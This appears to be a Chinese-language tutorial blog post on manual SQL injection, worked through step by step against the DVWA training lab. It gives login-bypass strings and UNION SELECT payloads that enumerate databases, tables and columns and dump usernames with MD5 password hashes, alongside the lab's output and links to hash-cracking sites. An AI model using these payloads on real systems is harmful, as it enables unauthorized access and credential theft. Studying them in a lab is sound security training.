首页 > 数据库 >SQL手工注入

SQL手工注入

时间:2024-01-27 16:12:30浏览次数:38  
标签:Surname name 手工 union SQL First 注入 select schema

两要素

  • 用户能够控制输入的内容
  • web应用把用户输入的内容,在没有经过过滤或者严格过滤的情况下带入到数据库中执行

分类

  • GET和POST
  • 整数型,字符型,搜索型

万能密码

’1 or 1 = 1#
1 or 1 = 1#

注释符:

  • -- (后面有空格)
  • --+
  • %23

注入流程:

  • 判断是否有注入信息
  • 获取数据库基本信息
  • 获取数据库名
  • 获取表名
  • 获取列名
  • 获取用户数据
  • 破解加密数据
  • 提权
  • 内网渗透

判断是否存在注入,判断注入类型-第一步

1 or 1 = 1#
1' or 1 = 1#

注:
get传参方式中大概率存在url编码
%20-->空格
%23--> 井号
%3d-->等号
加号可以代替空格

union select 注入-第二步

1' order by 1 -- 
1' order by 2 -- 
1' or 1 = 1 order by n -- 

判断列数可以使用二分法
假如只有两列,order by 3,那么就会报错-->用于判断列数

union:联合,合并。将多条查询语句的结果合并成一个结果

要求:

  • 多条查询语句的查询列数是一致的
  • union关键字默认去重,如果使用union all可以包含重复项

union联合注入-第三步

获取数据库中的信息:判断显示位

1' union select 1,2-- 

这里使用-1使union之前的语句查询无结果,则显示的时候就会显示union之后的第二条语句

DVWA:

ID: 1' union select 1,2 #  
First name: admin  
Surname: admin

ID: 1' union select 1,2 #  
First name: 1 #显示位1
Surname: 2 #显示位2

union联合注入-第四步

获取数据库中的信息:用户、版本、数据库名

1' union select version(),user()#

常用函数:
user()返回当前使用数据库的用户
version()返回当前数据库版本
database()返回当前使用的数据库版本

DVWA

1' union select database(),user()#

ID: 1' union select database(),user()#  
First name: admin  
Surname: admin

ID: 1' union select database(),user()#  
First name: dvwa  #数据库名
Surname: root@localhost  #用户名

union联合注入-第五步

获取数据库信息:

  • SCHEMATA表:当前MYsql中所有数据库的信息。show databases命令:命令从这个表获取数据
  • TABALES表:存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型,存储引擎,创建时间等信息。show tables from database命令:从这个表获取结果
  • COLUMNS表:存储表中的列信息,包括表有多少列,每个列的类型等。show columns from tablename命令,从这个表获取结果

mysql中的user表中有两列:user,password两列中存在登录数据库的用户名和密码

查询库名

1' union select 1,schema_name from information_schema.schemata

# 查询information_schema库中的schemeta表

image
DVWA

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: admin  
Surname: admin

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: information_schema

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: challenges

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: dvwa

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: mysql

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: performance_schema

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: security

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: test

查询表名

1' union select 1,table_name from information_schema.tables where table_schema = database()#
这一步可以跳过库查询

1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#

image

DVWA

ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#  
First name: admin  
Surname: admin

ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#  
First name: 1  
Surname: guestbook

ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#  
First name: 1  
Surname: users

查询列名

1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #

1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = database() #

image

DVWA

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: admin  
Surname: admin

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: user_id

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: first_name

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: last_name

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: user

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: password

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: avatar

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: last_login

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: failed_login

查询数据(利用列名、表名)

1' union select user,password from users #

DVWA

ID: 1' union select user,password from users #  
First name: admin  
Surname: admin

ID: 1' union select user,password from users #  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' union select user,password from users #  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' union select user,password from users #  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' union select user,password from users #  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' union select user,password from users #  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

union联合注入

字符串拼接
常用函数:

concat():将多个字符连接成一个字符串拼接
select concat('M','y','S','Q','L')

concat_ws():将多个字符串连接成一个字符串,但可以指定分隔符
select concat_ws('_','M','y','S','Q','L')

group_concat():将多行结果连在一起
select group_concat(user)from user;

DVWA

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: admin  
Surname: admin

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: 1  
Surname: admin_5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: 1  
Surname: gordonb_e99a18c428cb38d5f260853678922e03

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: 1  
Surname: 1337_8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: 1  
Surname: pablo_0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: 1  
Surname: smithy_5f4dcc3b5aa765d61d8327deb882cf99

解密-第六步

https://cmd5.com/
https://www.somd5.com/
数据库自己的账号密码加密是mysql5的加密方式

标签:Surname,name,手工,union,SQL,First,注入,select,schema
From: https://www.cnblogs.com/p1ggy/p/17991560

相关文章

  • Dos命令 Mysql数据定时备份和删除7前的文件
    一、dos 命令Mysql 数据本地和异地备份@echooff::以下1~8参数请按自己的情况修改;其他的不需要修改::=======================视各环境情况修改=================::1,备份目标主机setdbhost=127.0.0.1::2,数据库端口setdbport=3306::3,本地MYSQL的bin路径setmysq......
  • MySQL 运算符
    本章节我们主要介绍MySQL的运算符及运算符的优先级。MySQL主要有以下几种运算符:算术运算符MySQL支持的算术运算符包括:运算符 作用加法– 减法乘法/或DIV 除法%或MOD 取余在除法运算和模运算中,如果除数为0,将是非法除数,返回结果为NULL。1、加mysql>select......
  • MySQL 处理重复数据
    有些MySQL数据表中可能存在重复的记录,有些情况我们允许重复数据的存在,但有时候我们也需要删除这些重复的数据。本章节我们将为大家介绍如何防止数据表出现重复数据及如何删除数据表中的重复数据。防止表中出现重复数据你可以在MySQL数据表中设置指定的字段为PRIMARYKEY(主......
  • MySQL 序列使用AUTO_INCREMENT
    MySQL序列是一组整数:1,2,3,…,由于一张数据表只能有一个字段自增主键,如果你想实现其他字段也实现自动增加,就可以使用MySQL序列来实现。本章我们将介绍如何使用MySQL的序列。使用AUTO_INCREMENTMySQL中最简单使用序列的方法就是使用MySQLAUTO_INCREMENT来定义列。实例......
  • MySQL 8 版本升级
    升级过程中,安装一个新版本的MySQL版本可能需要升级以下这些内容:mysqlschema。mysql库中的表主要分成两类:数据字典表,即存储数据库对象元数据;系统表,即存储非数据字典表,用于其它操作用途其它schema。内嵌的(比如performance_schema、information_schema、ndbinfo、sys)或用户......
  • MySQL给表取别名,怎么才能不直接在sql中写出全部的字段
    资料来源官网教程问题<select>selectt1.id,t1.username,t1.password,t2.id,t2.username,t2.passwordfromsome_table1t1,some_table2t2....</select>如果字段很多一个一个写就很烦。在sql标签中,可以使用${XXX}占位符取别名<sqlid="us......
  • 作者推荐 | 【深入浅出MySQL】「底层原理」探秘缓冲池的核心奥秘,揭示终极洞察
    缓存池BufferPool机制应用系统分层架构:一个优化策略是将最常访问的数据存放在缓存中,以加快数据访问速度,避免频繁地访问数据库。操作系统:借助缓冲池机制来优化数据访问,从而避免了反复直接访问磁盘的开销,极大地提升了数据访问的速度。缓冲池通过在内存中临时存储最常访问的数据,将频繁......
  • Spring中没有注入而是new导致空指针异常
    背景:在BeforeSave_2250042中调用了一个公共模块CommonVerifyHandler的verifySeal()方法,但是运行时显示空指针异常空指针异常:CommonVerifyHandler类:@ComponentpublicclassCommonVerifyHandler{@AutowiredpublicCommonVerifyHandlerMappercommonVerifyHandler......
  • [MySQL]流程控制语句
    【版权声明】未经博主同意,谢绝转载!(请尊重原创,博主保留追究权)https://www.cnblogs.com/cnb-yuchen/p/17991087出自【进步*于辰的博客】参考笔记三,P32.5。目录1、选择语句1.1if1.2case1.2.1形式一1.2.2形式二2、循环语句2.1while2.2repeat2.3loop最后用于测试的数据......
  • SQL Server 2012 版本后的自带分页语法
    SQLServer2012与之前版本相比,增加了好多实用性的功能,在之前,数据表中的记录较多,需要分页时,算法比较麻烦,2012版本之后,增加了优雅分页语法,可通过简单的语法实现分页:Select*FromTb_tableOrderBy<排序列>OffSet<起始位置>ROWSFetchNext<返回的行数>RowsOnly说明:1、<......